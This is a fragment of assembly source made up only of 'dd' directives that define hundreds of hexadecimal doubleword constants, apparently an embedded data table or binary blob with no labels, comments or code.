dd 0B8C2A083h, 0ADA5A222h, 0D6104D6Ah, 0A7E8FCDBh, 5F5D8EF7h
dd 6E3DB23Eh, 9F4250BBh, 6B79CC1Dh, 0E4DD474Dh, 57BADA15h
dd 0BFB33A83h, 0A81282EAh, 0CF190198h, 0DC941386h, 1180D37Ah
dd 3B12678Dh, 9432F019h, 0D078466Ah, 0B2D481B8h, 88BE7090h
dd 419EE12Ah, 90A6BCDCh, 20841062h, 1A78EEACh, 26561E3Fh
dd 3D6AC4CEh, 0EB96AFFBh, 0C269D62Bh, 0F4107CFCh, 0A33D1362h
dd 0B2B4C588h, 0AA0B3067h, 8A295D44h, 0AF245519h, 0FF049251h
dd 3E19A31Eh, 0FC7C079Fh, 0C2331892h, 0ABCF93D8h, 681FB6F5h
dd 940237Bh, 182C8A05h, 9CA47869h, 73AF6A4Ah, 7021B551h
dd 391D38C9h, 0C0D6ADh, 0ADB6C315h, 8529711Dh, 402FF5E1h
dd 8DA3AE33h, 730C3C0Eh, 6866F8D1h, 0C74D0B3h, 49E3D35h
dd 25075785h, 0E9A80357h, 69C17BAh, 1CC3DB9h, 0A666E538h
dd 0C7E7977Ah, 0FDE99CAFh, 4BC47200h, 0ACF1B8B5h, 0AE5A1AEDh
dd 5B7F735Bh, 43519FB9h, 0F29DB610h, 0D08B146Eh, 79809990h
dd 1C82C0FAh, 0F6450015h, 799852Eh, 5EFC232Ah, 9E9F97DDh
dd 7765579Ch, 73F44574h, 3FB4C653h, 0CD882F8h, 9499DAEAh
dd 0CAFF6F4h, 7861D3F8h, 96ECAF57h, 3CCA2245h, 0B23B6577h
dd 89421C6Eh, 0DA293678h, 0BBCB81DCh, 0E6E297FCh, 4DFDA02h
dd 8F5A3E33h, 569E086Eh, 5CB785E9h, 977EFDB8h, 4E34836Ah
dd 72D1AFC3h, 0BEEA9F7Fh, 644DE42h, 0E4525A7h, 1C47C192h
dd 8C6D4973h, 0A1ED6EDDh, 5A923F97h, 16014024h, 56FC8478h
dd 30B56204h, 443911F6h, 0C70DEA1Eh, 3DF0DA3h, 2E2FE2DBh
dd 0D5018F2Fh, 0DA8505C8h, 4BC154E3h, 93721F06h, 0D8ED2532h
dd 0CD02F7D7h, 2DC4FB02h, 607F845h, 0B2ABD6DCh, 0AFC37EACh
dd 0ABABF9F9h, 9FE9F757h, 0A84BC666h, 48997405h, 36FAEE90h
dd 7FC7AE24h, 0F50A3125h, 238AE378h, 0C9B77E0Eh, 2DFBE06Eh
dd 5D5AA6BEh, 7374A299h, 5E8F4A91h, 0B725EB9Dh, 5E323257h
dd 7D9FCA4Fh, 850E358Ch, 734F5BD3h, 3EADBE7Dh, 17732A43h
dd 0A26EAE2Bh, 6D2067C0h, 0A2C7C4AFh, 62B2698Bh, 0C33C605Dh
dd 587CFD73h, 84845A89h, 0CADCED47h, 1BC9D80Dh, 403123A9h
dd 5A657A19h, 81A63B9Bh, 0FF581E47h, 29DCF16h, 4CC81DB3h
dd 0C224AD73h, 0EBC60F3Ah, 3E7380DEh, 2FCCD26Fh, 0E45F44F9h
dd 75E3321Ch, 0BBBF058h, 33C976D7h, 1BB225AAh, 7D93150h
dd 6F9EF319h, 1035BAFEh, 75134C8Dh, 0C643E0F0h, 0E4A5683Fh
dd 82B5D45h, 58845BC3h, 8E7C4878h, 1573F7B9h, 0A654CD49h
dd 0B9353A43h, 5C751123h, 4DD82CB4h, 63A76AFAh, 302296A6h
dd 67A2067h, 9F0DAE5Ah, 99363502h, 0A6671C6Ah, 7578A7E7h
dd 5B768A88h, 0D596EFEh, 2B4FCB62h, 2A2F2918h, 36B5F5D9h
dd 4BBBB14Ah, 2B184CFBh, 95C3976Bh, 0A2A75DB9h, 8DF0DF1Ch
dd 0AE4B214Eh, 2615A8Fh, 0B7769096h, 130D419Ch, 0AB30826Ah
dd 0C9A31788h, 532CAD0Dh, 0D4289330h, 0A9C9E8B9h, 72FB9B5Eh
dd 98CA0E75h, 0EC173F2Fh, 91168DC6h, 0E8C91DE4h, 685FA6BCh
dd 0FFA80D41h, 78D4CBDAh, 0B513DACCh, 469AD62Fh, 396E43CAh
dd 94C39F3Ch, 81971BB0h, 7688E2EDh, 0D43A053Eh, 0DDFDE65Fh
dd 57958D37h, 0EB7DA740h, 72E58AC0h, 0AC8FDCFCh, 2DD7FCA5h
dd 0A838FE97h, 3575F43h, 0E0EB30Ah, 9D092807h, 0DF10B10Ah
dd 67A5D05h, 35425957h, 0AB0B34D9h, 0F2F2777Ch, 12380CCh
dd 0B7499573h, 19F10DF4h, 49839AE7h, 0E05801A3h, 76064751h
dd 0B85C6A23h, 7C55F90Dh, 1341E71h, 0BAC1EB0Ch, 7C53D666h
dd 84126776h, 0A5A117CDh, 6F0E058Eh, 0F83A548Dh, 0CBC0EA4Bh
dd 8B08654Eh, 0C22B7E68h, 95DD3BEh, 0A4826D9h, 8DBD924Ch
dd 7C5697FEh, 0BEF47822h, 0ACED7DC0h, 0B03CDF65h, 0A4BC210Fh
dd 13F34039h, 53282303h, 4EC4AA59h, 35B0F460h, 0EEFF59C3h
dd 82852D57h, 0EDC4FC4h, 5F69F769h, 0D1A9235Ah, 60EB2363h
dd 0A972EC90h, 8191C477h, 0B2249DF3h, 2C2F29FAh, 0C7DA55E6h
dd 281BC152h, 0E8507B82h, 0BD6C58C9h, 0B09F398Fh, 44C5D2E8h
dd 2E3EC24Bh, 0CC8DEA53h, 33E8A791h, 28EF1608h, 50D19546h
dd 359B7CBEh, 9703D8BBh, 82C7DCA3h, 35C7ACB2h, 2017BA61h
dd 0FE90D99h, 856B2FF6h, 7E8395D7h, 15E86665h, 0BC833153h
dd 0DF8AD907h, 0F786C500h, 0C5D998E3h, 0EE815209h, 0B566EC04h
dd 6F834119h, 0E54B83E6h, 68842B35h, 0B1A88D2Dh, 82AC133Bh
dd 8A2EC444h, 904DC7A7h, 8FDFA27Ch, 42CE5A6Dh, 6DF43CAEh
dd 89DA7EAEh, 0D1D56705h, 207E0959h, 423F6750h, 46889D32h
dd 0D360026Dh, 0DF36610Fh, 0B1594581h, 984FD52Dh, 0FF0FB83h
dd 7334D34Dh, 0B25EE1C3h, 6D7D09D9h, 0A031BF9Fh, 916A7A66h
dd 0F96393E2h, 0FA7AF09Dh, 0E04ED1E7h, 0F206F5A7h, 0D1D076F8h
dd 124A7775h, 0DF221E4Eh, 0F080A07Dh, 0D5943156h, 0ECFF6411h
dd 5419011Fh, 68A633D8h, 7A7B40DCh, 9836084Ah, 0CE69FEBCh
dd 6C0C64E4h, 0BF570F9Bh, 0E5DE5729h, 0BC3A3649h, 0B00EA77Fh
dd 5A5142E9h, 1B15CC71h, 0B696DE06h, 8EEC318Ah, 0D5EE5F5Fh
dd 43E86734h, 1C567546h, 0F82757C2h, 0A93520F7h, 0AE1D697Bh
dd 867BD2DFh, 73B74CFCh, 0F12DEF24h, 91B6B5AFh, 0E9BFE202h
dd 43155E93h, 0DF51B8E7h, 94CD75ADh, 67C20D58h, 8D8579DCh
dd 0E42AC04Ah, 6EB4578h, 26D41B11h, 0A4EA24EAh, 91CEFB58h
dd 6EAA422Fh, 95A80BD0h, 54E14615h, 51D854DEh, 0BA0085A2h
dd 1153B43Fh, 3EF391EFh, 3C1E7B57h, 2AB2BA87h, 61D0A032h
dd 6BBEBA02h, 0DD0B7439h, 0B6C69B6h, 53D96E4Fh, 5366AE0Fh
dd 0F2C1C753h, 0E0199051h, 2094DC4Bh, 0EB811252h, 41ACCE57h
dd 762F088Fh, 155E8384h, 6800DA82h, 0B46469Ah, 0AD90169Bh
dd 91E3C73Bh, 327FF632h, 2663D484h, 0FD2F019h, 9C8A7C18h
dd 0F636406Eh, 9774408Bh, 0DA4FD315h, 0E783E897h, 0B122267Bh
dd 746348C0h, 0F9DC75Fh, 82B23355h, 0ADE23F04h, 16C3871Eh
dd 5B7E2F62h, 0B08F2ED1h, 9B0AD4D8h, 596133BFh, 0C4EAE539h
dd 9DBE5540h, 2BD9D26Bh, 0EF28272Bh, 9A1CFB00h, 742DF9DCh
dd 8D24CC24h, 0A73BE715h, 520318A9h, 3F8D8323h, 0F16B317Ch
dd 0A7D9EE44h, 54656064h, 1C1E6824h, 0A641DE6Fh, 19CC874h
dd 5D701EDAh, 0B7F47577h, 8DC88BFFh, 9793FD0Fh, 230FC8C7h
dd 0EE4B1684h, 0DCBD31E0h, 1F674D18h, 7249A39Ah, 0EDD48187h
dd 0EE93ECD0h, 0E7822CC5h, 0DCE0C9E8h, 83D57C31h, 32E3EEC2h
dd 1E535DFAh, 429A5C03h, 2E79D5A1h, 518E6C80h, 0C465CED0h
dd 84DABC6Dh, 8FE91B17h, 40A4E772h, 8E8C34C1h, 29374918h
dd 0DAAA3A92h, 91019766h, 0C15236B9h, 5DBC2B6Ch, 3A1F82D5h
dd 0A318E22h, 8050854Ch, 225D5F7h, 6C4196E2h, 840C0EA2h
dd 8FF6246Fh, 5CCE1BB5h, 4098245Ah, 0C3FF4ED1h, 27A394B1h
dd 180BF762h, 0F2D44C6Dh, 3E3FBFE7h, 5874E454h, 2B5C090Fh
dd 0F5A0FA5Bh, 0CFCB365Bh, 0EB0B6FF7h, 4AAF774Dh, 0BD25990Dh
dd 0B698EAF7h, 0A70CE921h, 0F4DCFE80h, 22B7B9D6h, 2086B17Fh
dd 0AC3C6D91h, 75E430FDh, 0CC5B8635h, 14D1955Eh, 2ED5003Ch
dd 42B8AAB0h, 238CE6C9h, 0A704C83Fh, 60346B9Dh, 85F479C3h
dd 0F6C9BCDEh, 0E63B9DD6h
dd 2A684C63h, 55B9AAAh, 695675Fh, 8173D8E9h, 523224F6h
dd 7EB98E27h, 0C82EC99Dh, 0D519FBA7h, 495921EEh, 3B93966Eh
dd 3393EF3Ah, 0CD0B8098h, 4238BE0Ah, 7D68C3D4h, 0A05027A0h
dd 0C4655453h, 9AFD5E17h, 0A2C77FB6h, 90399773h, 859D88BCh
dd 86C1CB92h, 0E9195020h, 0F4C6F37Fh, 4293E5B6h, 538BB03Fh
dd 0A7E3AD6Eh, 0C8D6754Dh, 0F607C56Fh, 0AE8C7EBDh, 33B33D23h
dd 55C04A9Fh, 8C4E2C5Ah, 568BEC44h, 813C86F2h, 0F0F1025Eh
dd 2F42762h, 0DA3A2359h, 27949298h, 60F9E33Ah, 7FB1E5E8h
dd 0E3111E7Dh, 0F8C78B72h, 0BEDC4CBFh, 8B82E2EAh, 7C07FD24h
dd 7A35B162h, 0C801E56Ah, 50577037h, 0D3965155h, 0A5BEAA46h
dd 0D64129BFh, 99525173h, 11D5D347h, 0C1DA23F1h, 9E276052h
dd 47219C7Ah, 77218908h, 0BC836366h, 15264784h, 10DB4C36h
dd 59F24F12h, 0CE6503F8h, 0E82C54A1h, 5A01885Ch, 5CA25FDCh
dd 8ED3A977h, 2B00A32Dh, 80CA2CBh, 4ED30787h, 46187D24h
dd 0ACF1742Eh, 72A3B4E0h, 0CEAA8356h, 8AF79073h, 981506E6h
dd 0D1DEC63Fh, 0BF056F8Ch, 7379EA82h, 0B43B79D3h, 8E063AEh
dd 299B6AFAh, 6ABDC024h, 0AFC0A622h, 2EFE73B2h, 2F796FFBh
dd 8F8953E6h, 6E508DC4h, 0C616E263h, 0C86F686Eh, 5DCEC38Ch
dd 6546E576h, 0AE693D77h, 8A65D01Bh, 0A17D52D1h, 0B32D4527h
dd 8D000351h, 51E26817h, 7A859A6Eh, 2B3C0C97h, 39E07C3Ch
dd 940BB819h, 64D2FB4h, 1A45CD03h, 0D35942D9h, 0B6C444F6h
dd 0BFB39C2Bh, 6EB57445h, 0B066467Fh, 0C1273E87h, 0EAB1BDBCh
dd 322C52A8h, 0C339C972h, 0DBAF77FAh, 0B611B056h, 0BBD56779h
dd 0ED395393h, 202A19D3h, 6E35E38Eh, 80EC2DFh, 0BB119DC3h
dd 2D2AEE26h, 86778E2Bh, 9C16A205h, 0CE0DE578h, 25A4E913h
dd 0A2A5FB45h, 42422680h, 9C66F5D5h, 655D1C64h, 0BAF70B7Fh
dd 9B733FB5h, 0F5D6557Fh, 86BFCFF6h, 0B7E12AF0h, 51DD42BEh
dd 3CD1D54Ch, 0BAE64195h, 0BED5CECCh, 1637A836h, 9E6B0E76h
dd 1FD05FF9h, 1BD20A7Eh, 73E68434h, 3CEABCA9h, 0EC59CC75h
dd 0B5F72DF0h, 0E3D48CA6h, 66531F1Bh, 654E620h, 0E0AD642Dh
dd 0E79A4761h, 8E9C5286h, 0B459B0C8h, 45217726h, 3A53CF5Dh
dd 0D7AFCC74h, 9827B767h, 0C33E2753h, 124D2762h, 9F0822DDh
dd 1C06EC5Dh, 669C47C4h, 0C6D960EDh, 0F4759848h, 583D3FA9h
dd 4C011592h, 3E7A39A5h, 0C5732304h, 1AF14C69h, 0D0AA2866h
dd 0C9F0D006h, 5564C5A3h, 5AC2FDECh, 0CDC6F52Eh, 2EB22F5Bh
dd 0CC44B903h, 0B7606B1Ch, 0B1B26280h, 41028E9Eh, 9ACA596Dh
dd 0B316F5C5h, 94A207E1h, 853A339Bh, 25B8AEB0h, 9E0BFDC0h
dd 6FF57A00h, 4E5FF91Bh, 70B4DE97h, 694B2212h, 0B52E709Fh
dd 0FF558C05h, 2A51D518h, 8EFA2D5Bh, 6ED69397h, 8EB4B0EDh
dd 4B8F63CCh, 893C614Fh, 1B5903C5h, 0DCA97E16h, 3B521E28h
dd 3E27BFE0h, 46E0EDE7h, 75B8AF4Ch, 70173D80h, 5990B0CDh
dd 2F829C1Ah, 1EA1A22Ah, 103014B1h, 8F53CFACh, 4646C50Bh
dd 0E67C3C4Bh, 23883012h, 0A83D6313h, 91975629h, 8E87BE95h
dd 827C0FD3h, 47B91AC5h, 0E2C4EDEDh, 9CE25728h, 64331C57h
dd 0E8BE8AD0h, 39D7164h, 5679E7B9h, 440DEE45h, 6DC1DB37h
dd 5A4A2129h, 0A12574D5h, 7E47FED9h, 0E2D50B35h, 5045A222h
dd 5D385EDFh, 0D3251815h, 8EA8D0DBh, 2DCCB81Fh, 0EA6AF2BEh
dd 7B7409FAh, 0B8560392h, 0F629C535h, 0A54B0A8h, 0AA92C970h
dd 28E4ED5Eh, 6EB36C1Ah, 65937E4Bh, 0E6086355h, 0A221CD4Dh
dd 90A5ED14h, 0CD80F793h, 95C630AEh, 0B5A00CD3h, 0CF895EB6h
dd 0E23B73EEh, 0A1D36737h, 36D9343Ch, 9779672h, 8AF6387Ch
dd 98A8A9AFh, 5FF7F965h, 0F8F003C2h, 0AA4C4CC0h, 87E10FF8h
dd 545FFA32h, 578F39D0h, 57F09D1Dh, 0D1212ACAh, 67B60D67h
dd 0BA41FCEDh, 0F086C483h, 8A65E7D1h, 8E6E0373h, 0E49FEB49h
dd 5E29E1B3h, 8034D817h, 6835CC0Dh, 84F3C3A9h, 0A8589C0Bh
dd 0A3927011h, 42A0EA43h, 21146442h, 9929E228h, 0F3769B44h
dd 32C957F1h, 0A7F3366Ah, 0FA042E9Fh, 9E564EC2h, 9749B71Ah
dd 75BB3C6Bh, 469256B6h, 204EBC32h, 0FD256115h, 5D7E3162h
dd 0B363670h, 1B4C4F16h, 2F9A1723h, 1D933156h, 886A5D6Dh
dd 371528A5h, 62A9CDA1h, 549483E7h, 0C21CF5B4h, 6D8E3249h
dd 68C314DEh, 1DEAC50Eh, 0F324B950h, 1D380673h, 4995C607h
dd 0CA480AD5h, 8CE25E64h, 0ABACC010h, 649C2769h, 0A5608A1Eh
dd 9F8AF5D7h, 8C0368B9h, 7A56F30Eh, 8C651F5Bh, 321126C7h
dd 5BF0CD3Fh, 0A7274884h, 0D723E2B2h, 272FBFA7h, 1560D5A4h
dd 2C4CB577h, 72847DE4h, 309C65D3h, 0DFA90001h, 2E5C1988h
dd 33320CDDh, 48CF0313h, 369C72Ch, 0C11CC86Ah, 0A0B57A7Ch
dd 0E970B275h, 978E3176h, 0C27C94B3h, 2B0998F0h, 23C33259h
dd 7E8B2AE2h, 0D9B61610h, 0BEE42C89h, 0F0096372h, 87748A7Ah
dd 6C0CF746h, 0A4DBE235h, 0C699CC5Bh, 0EDDD19EFh, 770D9151h
dd 0AD3BD98Ch, 348AE938h, 3DF18C69h, 9BBB50CEh, 0F4F3E76h
dd 2F5F3892h, 12C77299h, 73466AD2h, 6611D53Dh, 4D27BEF3h
dd 0E02B3FC9h, 0D2A5B598h, 45ACD7DDh, 63B95D4Ch, 0D2659490h
dd 0E8A1504Fh, 8FD8F21h, 59C93EC4h, 0E5D01CCh, 85FC9BA8h
dd 6CD24C9Fh, 68A701F1h, 0EBD94FD6h, 0BEB765FDh, 0D94C0D2Fh
dd 5BA4CDFBh, 0EB872ACCh, 1CC5C65h, 0D4F106A8h, 9B973F09h
dd 0E6152F63h, 2D898547h, 3A7378D5h, 3971DC9Ah, 0A8B25167h
dd 0F4B4C171h, 0D9E2DAF1h, 92C9CCFh, 0E21A6620h, 748545C3h
dd 0C365ABF5h, 5A56160h, 0F6EDA7C8h, 4DBD9D41h, 0F688DEBh
dd 2BCB5CADh, 38E79A2Bh, 9EB5011Ch, 49F43316h, 88D6E41h
dd 0A02E661Ah, 0A0E96487h, 0D7B38698h, 57D01E2Ah, 5D9E24BAh
dd 0D80043F0h, 0F9564E3Fh, 1E4B142Eh, 416F6608h, 0FFA13559h
dd 4355CD76h, 0E49D0E46h, 96280CDh, 7EBE22B8h, 0D3017F07h
dd 6517DEE2h, 0F1FB7E8Ah, 6581E981h, 0A67C1FFBh, 1B935AE0h
dd 2CA759F0h, 39673DC5h, 497C9D4Dh, 184522D3h, 0F3DEF331h
dd 0AB8C8630h, 25F2AECDh, 0FCB6A8EFh, 8D4BD99Eh, 0B0CD549Ch
dd 3D283623h, 0D3230526h, 0B0E861B7h, 0D1FDDEC7h, 96CA8A39h
dd 0E5745A3Ah, 437AF12Ah, 0FCACCB91h, 4CCCDA8Ah, 0FC644A2Fh
dd 5056008Ah, 57742F9Dh, 7B9054C6h, 4BA3A61Ch, 9CA77688h
dd 40930617h, 4BD0683Ch, 519253A2h, 2E4716DCh, 0EC10F4FBh
dd 96987B4h, 24B1C4D1h, 7608D659h, 6A187FB9h, 0CD296111h
dd 36DFFFA6h, 739B9D1h, 0D1277D7Eh, 0D2D1CBBBh, 0C99CFD04h
dd 0A4748E05h, 4AF326E0h, 8965CFB2h, 36C2116Eh, 0D489CFF7h
dd 565F783h, 38DDB870h, 9BB791C6h, 0AAB773E3h, 2CF920C4h
dd 0CAACF383h, 0F74DD04Bh, 0C12013F9h, 16C5E17Ah, 677DE040h
dd 7A130F3Ah, 4C897142h, 6F7A3096h, 3109F37Ch, 5857FCD3h
dd 24E3DC0h, 72859A5Bh, 311B8DEEh, 0C3D2D44Eh, 83D681C5h
dd 0E92B6AA9h, 1F0E5598h, 0EB551FD5h, 0F2229042h, 2A87D93Eh
dd 92F7462Fh, 0D6AD22E6h, 0A52D38EDh, 92D6F7F5h, 90CEB54Bh
dd 73D7E604h, 22A0DF81h, 0A81A1752h, 94EF8F44h, 0E6646ABEh
dd 89331C9Eh, 0A237A467h, 0B1E27BD0h, 0A21783ECh, 0C2E5A2FAh
dd 1D6B7D3Eh, 0C470D58Dh, 925BCF8Bh, 429544ABh, 37AEE89Eh
dd 975836FDh, 0E69E44C0h, 52C83DBBh, 2B1BAB78h, 90EA4E8Ah
dd 3AE492F8h, 9889922h
dd 36C671F8h, 3D1E7CF5h, 79648CEh, 3F6B2CA2h, 78D025A1h
dd 70E59884h, 0F4D76C45h, 0BBC6B8B2h, 339ED5B1h, 77925DA7h
dd 0C09EDDF4h, 4E04C52Bh, 9E29BB51h, 3898DCCh, 86CBED2Eh
dd 7C89AB3Dh, 46D53FABh, 1CA9E03Eh, 0C0DAD778h, 435E2542h
dd 92AE2BC2h, 12D278FCh, 2DB2AAEBh, 0F8B3262Eh, 9706066Bh
dd 58CF35BFh, 530A2585h, 0CDAB4D0Ch, 0E57D9A9Ah, 75EB215Dh
dd 1A30EA9Dh, 0F06376EAh, 40E58A28h, 4981E50Bh, 0D83AB524h
dd 58D6EB50h, 7FDDFC01h, 0A01C21DEh, 7CCFA87Ah, 0B1AA71E8h
dd 0F9FBF18Eh, 422DD4C9h, 0BAD0A2C8h, 8EE47CCAh, 0F770F7A9h
dd 4D01EFA1h, 26BF2DD4h, 6C6AD897h, 0C2320E03h, 0F05193D6h
dd 0BE271D88h, 5191670Eh, 78C0ADB9h, 1CE7604h, 9F2E3B98h
dd 0EBD1C0D4h, 7BB1A169h, 0D478602Bh, 58102421h, 0FE9FC92Eh
dd 0F1DDE2C1h, 3627DB27h, 0B1B79CD1h, 84F7D5C3h, 0E0AF3E6h
dd 0AA9621FBh, 8EF731F3h, 0A2E93535h, 0B6B15B4Fh, 0B6424E76h
dd 73B5BB87h, 5720CA2Bh, 2511D12h, 0A3481E13h, 89502B15h
dd 61D18103h, 830CEC0Eh, 0BB5FC4CBh, 0EED2BA13h, 296E413Bh
dd 0F935E191h, 8C0943A0h, 0E68785EEh, 6868AA2Eh, 0ADE37395h
dd 0B94CD4EAh, 749095ABh, 89BBDF2Fh, 50EE30BBh, 104CE17Fh
dd 3B649A46h, 2889E5DAh, 73D25D99h, 3212F5B6h, 6F12583Ah
dd 5DF0BC9Bh, 840E8378h, 0A3768412h, 99B7AFF5h, 7354EB80h
dd 31C48747h, 456D0955h, 4E8A566Dh, 0B99DB4B0h, 3E98F60Ah
dd 7BF9C6ADh, 28D5339Eh, 0D39EC5A2h, 0CF27AF1Fh, 8B7EE045h
dd 370B42C6h, 0CBF49046h, 54D92E2Eh, 0B3BB912Ch, 87EEC1F8h
dd 11427607h, 5BB3AFB3h, 7ED1E61h, 6E864B22h, 0BEB64688h
dd 2EB64626h, 610DEA06h, 73BF1D3Bh, 738E5D5Fh, 33884CD0h
dd 0EAF9FFB5h, 72840CE1h, 9491C0E9h, 68C26A96h, 0C56C8EACh
dd 4DE1CBF6h, 0DE9789A9h, 89E193B5h, 0B1932C6Fh, 1A75F7C5h
dd 4B97C51Ah, 0CC272C46h, 377815E7h, 0D7AA452Ah, 0EE7692E3h
dd 9AD12224h, 6A2CAD03h, 4CC9554Ch, 0D7B2FECDh, 0B49B3A7h
dd 3A20AE62h, 0FA47E06Eh, 963BF032h, 88E6E5ACh, 1AC1E04Ch
dd 93AB493Ah, 439295C5h, 0F1D53264h, 0B1F5CD78h, 0C19A66Bh
dd 586DCF0Dh, 0BB894750h, 4B100A1Fh, 0FCFD4B90h, 4C26EADh
dd 0BDBDBEEEh, 6B9286C3h, 135EA097h, 3F957187h, 99314823h
dd 0B9876DE0h, 0F1E3E34Fh, 0A80AB77Dh, 78D5E5B9h, 2940AE82h
dd 5959AEF8h, 9AB621B6h, 4A8BD9CEh, 245C7AD1h, 0EBC16703h
dd 0FF691CABh, 0A553816h, 8EA792DAh, 5FBDED88h, 0E32B1202h
dd 0C6E07525h, 0F83AFFF3h, 3011B2BBh, 658BF787h, 946E89C7h
dd 0A86901DEh, 496543D9h, 0D3AB6E93h, 205696E7h, 4C5836F1h
dd 0CE3890C5h, 3F0BEA77h, 48898215h, 1AD83197h, 969B5326h
dd 0E51526BEh, 0EA3A89EEh, 0A1243F77h, 2D2216F0h, 0E0ECBECCh
dd 7DFE2B06h, 930A80ADh, 0C04FA1F9h, 326B99E0h, 0E36A5DB5h
dd 0AABB19DBh, 341D5670h, 4DF266A8h, 0AD10AF0h, 66EF1913h
dd 3DBA05EFh, 0A6C9A73Ch, 0C65CFEBDh, 663FDEC7h, 20B7D73Dh
dd 7C4AD5ECh, 1F16D1D5h, 0E5FC4A36h, 2972BCC1h, 252C81FCh
dd 81088FFFh, 0E45A941h, 7CCF609Fh, 358E3FA3h, 7ED67C4Ch
dd 113F56FEh, 0B3D8489Eh, 5EEB21D8h, 3BB0A25Eh, 40604493h
dd 2E894078h, 18FE06F6h, 73B65969h, 0F3E2C36Fh, 24D7D9F9h
dd 1DDF3241h, 0AA6A206Fh, 67FDB70Ch, 0B85BE6ECh, 6ABEF01Ch
dd 81B13962h, 84ED6A59h, 0C13E66E7h, 7F65BE7Ah, 22AEAAE4h
dd 0D3EF6019h, 0F7378B47h, 0E13BE4A3h, 15E0AEB5h, 788EB5FEh
dd 0A663B6C0h, 6C3A8862h, 0F3BBBE12h, 0E5EAF4F8h, 4E7C4716h
dd 49354D30h, 0EDAECA1Dh, 7335AD84h, 7BF5B10Ch, 0F49DC020h
dd 2C7E01C1h, 681B4469h, 957B9AD2h, 0C9EFD4E1h, 349AC58Dh
dd 59B5E801h, 890F3538h, 21D92D53h, 6399AB86h, 7386BBE9h
dd 0DB512B6Fh, 0BD58F3C6h, 843DC92h, 21558959h, 0CDDB1F57h
dd 2F9E24A6h, 13AE5369h, 5C50B1DBh, 0F33B1B65h, 0C4A3FA76h
dd 0B6ACD2ADh, 0E994800Ah, 0ADC92791h, 0C9CE88C0h, 3EA0E5C2h
dd 98258283h, 47655C74h, 939C6E5Ah, 79D6009h, 3E6C0F6Dh
dd 20D7D275h, 0ED4FFFF7h, 0BB3DCC1Bh, 12B9D2F1h, 35626577h
dd 0BE38F9C8h, 0CDC7A29Fh, 2EC3F484h, 3CD5647Fh, 62C319CAh
dd 3CD1063Ch, 51F2CE2Ah, 0BE2549BAh, 0AF75FA17h, 6E152701h
dd 110AF06Ch, 4D58E083h, 9DCCF8EBh, 0AA66FFD8h, 3EE8F7C0h
dd 0DDD9059Ah, 0B70EB578h, 0ECEFAC73h, 2E831696h, 60BC6700h
dd 0C3C93D33h, 0C66DFEDCh, 9B2D4717h, 5BA4186Fh, 0CC9C3D06h
dd 5C0ECC8Eh, 0F655EB05h, 3B729F06h, 85A06A43h, 0F664784Bh
dd 209732A4h, 0A97AD8B8h, 9EA4F8E5h, 998DB325h, 1C2B58BEh
dd 0E705F3B8h, 4E1AF6A5h, 99CEECDCh, 648FAE0Ch, 8636C882h
dd 7ED513F8h, 0A8F59790h, 48A54A72h, 0BCC43902h, 0DF560239h
dd 994E90D0h, 5BB379EEh, 0F07E0295h, 0C5B6C142h, 0A262874h
dd 0DF8C1A17h, 0E4041D45h, 0BC2A1F87h, 96638BF2h, 9EC8B152h
dd 0ED65CDD1h, 0B0DA795Ah, 47DEC04Bh, 0C074389Ah, 5E2D6E1h
dd 0E8886EAAh, 0A7365CF1h, 0E32FB372h, 3E27B2BBh, 0EC47674Dh
dd 1DD59520h, 87B0045Dh, 5A9B4A49h, 0CB1F2221h, 0F7F9081Fh
dd 0D24A9642h, 0CB880F4Fh, 39ECAEA1h, 0DAD73B36h, 8044D021h
dd 6B5AD2D6h, 5ADCB6D8h, 64E876B2h, 7D015EF6h, 813330C4h
dd 633E10D3h, 0A4F92187h, 7C9DEE51h, 44054898h, 6E4458AFh
dd 2144B4DEh, 4B001664h, 0F5233663h, 0D598FE64h, 0CFDD4F82h
dd 0E922DEC0h, 961A47E4h, 0A4C8BAD0h, 0F2FD44AEh, 615C3437h
dd 0E8FCB9C2h, 0F8C2D94Eh, 1E0AC0D9h, 0DE2FBA74h, 721ADF2Eh
dd 7080E558h, 7E6BBC8h, 0A149E804h, 15783BDFh, 32D81AE9h
dd 88ECC4C0h, 2F90311Fh, 8BCE712Dh, 0E01C4DAFh, 81198B5h
dd 8D4B430Ch, 0A5446028h, 0E8AD7504h, 44F858DFh, 0A7A68BE4h
dd 378F9B2Ch, 0E8098D25h, 0EE89A387h, 0D4F2F1Dh, 4090E032h
dd 39C2714Fh, 0E3D3457Eh, 0F4BF65D2h, 0E56AF298h, 5D88F04Ch
dd 0A99A487h, 0B7D62728h, 44BAFD74h, 0FB8BD523h, 9144CAC7h
dd 0C4D0505Eh, 3B2A18E7h, 0D0457925h, 443F56EAh, 98C57F5Ch
dd 0D102E188h, 0A72A678Dh, 0EBBF0FA0h, 0DE6C6FB8h, 0D9F82013h
dd 0D557F5A7h, 9C3618D6h, 7192DB91h, 67665EECh, 0B65CFBCDh
dd 0CCCDCD36h, 28BC10EDh, 967E57B7h, 0DC39C0E6h, 0C2B630CAh
dd 0CF65C2D8h, 2BC02785h, 0DF02BCABh, 99830578h, 4C244FC5h
dd 0CFFFD356h, 0F44CEBE8h, 42DA1EBBh, 0C6A79B07h, 33CB0D08h
dd 3E4273F9h, 3EC3448Bh, 23E4649Dh, 0DD0AA67h, 9CFA420Fh
dd 84F6F19Eh, 6BBD3D71h, 6C7FD14h, 0AD5F8F07h, 5727FEE9h
dd 4466E648h, 37BFECD4h, 1908786Eh, 0CBF28255h, 0F2C78DF1h
dd 7DC12A71h, 0D6DF780Ch, 2AB35C30h, 0A3E89ABh, 0A455C58Dh
dd 0A709B31Dh, 3D0C5D8Ah, 0E6F0F971h, 689DBEEFh, 55426D25h
dd 90135184h, 0D071172Fh, 0D51C6C4Eh, 0A88C363Eh, 0BB2F477Dh
dd 0F94BB2D4h, 0A31BCAFCh, 0DF93F9D6h, 321EA06Ah, 0F4CF675Bh
dd 0FDF53405h, 9818942Fh, 2EA92A70h, 0E7D39DF4h, 89F85B62h
dd 0F3CECF12h, 0EA2C8BA1h, 324A7CD9h, 0F0A9DC0Eh, 99AD6058h
dd 4EB82B7Ch, 0DBD7932Bh, 0DFBCE8E7h, 443F3C1Fh, 195F13AEh
dd 648A084Dh, 5F08B936h, 83CF2DF8h, 0FD1ACB6Fh, 0FD0843D0h
dd 0EF444FADh, 40267686h
dd 108E707Dh, 994721BCh, 0DF24B25Ah, 6E97ACD3h, 256B336Ah
dd 6667C034h, 5D5E21BBh, 7F3E637Eh, 54B3BD2Dh, 0D106A178h
dd 64F13A1Ch, 0A54D52F6h, 0A7BEE1BAh, 90004BC5h, 752CEE95h
dd 352A3A7Ah, 0E80A41C1h, 0D1CC7271h, 2D7DA779h, 79EDE4C6h
